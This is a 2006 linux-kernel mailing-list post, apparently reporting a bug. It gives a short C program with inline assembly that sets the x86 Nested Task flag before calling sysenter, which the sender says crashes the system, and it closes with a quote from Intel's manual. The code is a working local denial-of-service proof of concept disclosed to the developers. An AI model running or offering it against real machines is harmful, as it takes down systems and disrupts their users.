linux-kernel - Sysenter crash with Nested Task Bit set

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Date:	Sun, 17 Sep 2006 19:08:24 -0400
From:	"In Cognito" <defend.the.world@...il.com>
To:	linux-kernel@...r.kernel.org
Subject: Sysenter crash with Nested Task Bit set

Here's a way to heat up your cpu and crash the rest of the system too:

main(){
asm("pushf\n"
        "popl %eax\n"
/* enable the NT bit */
        "orl $0x4000, %eax\n"
        "pushl %eax\n"
        "popf\n"

        "sysenter\n"
       );
return 0;
}

"If NT equals 1, IRET reverses the operation of a CALL or INT that
caused a task switch. The updated state of the task executing IRET is
saved in its task state segment. If the task is reentered later, the
code that follows IRET is executed."
- Intel 80386 Reference Programmer's Manual
-
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